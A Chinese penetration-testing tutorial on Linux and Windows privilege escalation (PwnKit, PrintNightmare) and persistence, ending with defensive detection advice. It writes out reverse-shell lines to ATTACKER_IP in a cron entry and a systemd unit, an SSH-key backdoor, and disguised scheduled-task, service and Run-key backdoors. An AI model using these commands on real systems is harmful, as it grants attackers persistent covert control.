2.8、权限的终极目标:提权与持久化
摘要:在攻防对抗中,获取初始访问权限往往只是开始。真正的挑战在于如何将有限的权限提升至最高(提权),并像“潜伏者”一样在目标系统中长期存在(持久化)。本文将深入探讨Linux/Windows的本地内核漏洞提权技术,并详解如何通过后门、计划任务、服务等手段实现持久化控制,同时从防御者视角提供检测与应对策略。
一、 提权:打开系统的“上帝模式”
提权,即权限提升,是指攻击者利用系统漏洞或配置缺陷,从普通用户权限提升至root或SYSTEM最高权限的过程。
1. Linux 内核漏洞提权实战
Linux提权常依赖于内核级漏洞。其基本流程是:信息收集 -> 寻找EXP -> 编译执行。
- 信息收集:首先,你需要了解目标系统。
# 查看系统版本信息
uname -a
# 查看发行版信息
cat /etc/issue
cat /etc/*-release
# 查看当前用户和权限
id
whoami
根据系统版本和内核版本,在 exploit-db.com 等平台搜索对应的漏洞利用代码(EXP)。
- 经典漏洞举例:CVE-2021-4034 (PwnKit)
这是一个在Polkit的pkexec组件中存在了长达12年的本地提权漏洞,影响范围极广。
利用步骤:
-
- 在攻击机上下载公开的EXP代码,例如 pwnkit.c。
- 将EXP上传到目标机器。
- 在目标机上编译并执行。
gcc pwnkit.c -o pwnkit
./pwnkit
-
- 执行后,当前Shell将直接获得root权限。
2. Windows 内核漏洞提权实战
Windows提权思路类似,但更依赖成熟的提权辅助工具。
- 信息收集是关键:
# 查看系统信息
systeminfo
# 查看补丁列表
wmic qfe get Caption,Description,HotFixID,InstalledOn
将补丁列表与已知的提权漏洞库(如 Watson, Sherlock)进行对比,找出未修补的漏洞。
- 使用PowerShell自动化工具:PEASS-ng
WinPEAS 是一个强大的脚本,能自动识别系统中的各种提权弱点,包括漏洞、服务配置错误、凭证存储等。 - 经典漏洞举例:CVE-2021-34527 (PrintNightmare)
这是一个Windows打印后台处理程序中的远程代码执行漏洞,同样可用于本地提权。
利用步骤:
-
- 使用公开的PowerShell利用脚本。
- 在具有普通权限的PowerShell中加载并执行脚本,指定恶意DLL的路径和回连地址。
- 成功后,将生成一个新的具有SYSTEM权限的会话。
二、 持久化:成为系统的“幽灵”
获得最高权限后,必须建立持久化,否则目标系统重启或权限被回收后,将前功尽弃。
1. Linux 持久化技术
- SSH 后门:这是最隐蔽有效的方式之一。
- 创建隐藏的SSH授权密钥:
echo 'ssh-rsa AAAAB3NzaC... your_public_key' >> /root/.ssh/authorized_keys
-
- 修改SSH配置,允许root登录:
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
systemctl restart ssh
- 计划任务(Cron Jobs):
# 编辑root用户的计划任务
crontab -e
# 添加一行,例如每小时的01分反向连接到一个IP
# 1 * * * * /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
- 系统服务(Systemd Service):
创建一个恶意服务文件(如/etc/systemd/system/backdoor.service):
[Unit]
Description=A harmless looking service
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1'
Restart=always
RestartSec=3
[Install]
WantedBy=multi-user.target
然后启动并启用它:
systemctl enable backdoor.service
systemctl start backdoor.service
2. Windows 持久化技术
- 计划任务(Task Scheduler):
使用schtasks命令创建一个计划任务,定期执行payload。
schtasks /create /tn "WindowsUpdateService" /tr "C:\malware\backdoor.exe" /sc hourly /ru SYSTEM /f
- Windows 服务:
使用sc命令创建一个服务。
sc create "FakeSensorService" binPath= "C:\malware\backdoor.exe" start= auto
sc start FakeSensorService
- 注册表启动项:
将后门路径写入运行键,实现开机自启。
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\malware\backdoor.exe" /f
- “映像劫持”(IFEO):
可以劫持一个系统常用程序(如sethc.exe-粘滞键),在用户触发时同时运行后门,常用于权限维持。
三、 防御者视角:如何检测与防护
攻击技术的另一面,就是防御的要点。
- 提权防护:
- 及时更新:严格遵循补丁管理策略,及时安装安全更新。
- 最小权限原则:为应用程序和用户分配所需的最小权限,避免使用高权限账户运行常规程序。
- 系统强化:禁用不必要的服务和功能,使用安全基线进行配置。
- 持久化检测:
- 监控计划任务与服务:定期审计系统上的计划任务、服务列表和启动项,关注异常项。
- 文件完整性监控:监控系统关键目录(如System32、启动目录)的文件变化。
- 网络流量分析:检测是否存在未知的、定时的外联连接。
- 日志分析:集中收集和分析系统日志、安全日志、PowerShell日志,寻找攻击痕迹。
结语
提权与持久化是渗透测试中承上启下的关键环节,理解这些技术背后的原理,不仅能让我们在红队行动中游刃有余,更能从根本上帮助蓝队构建更坚固的防御体系。
安全是一个持续对抗的过程,知攻方能善防。
(本文仅用于技术研究与防御教学,请勿用于非法用途。)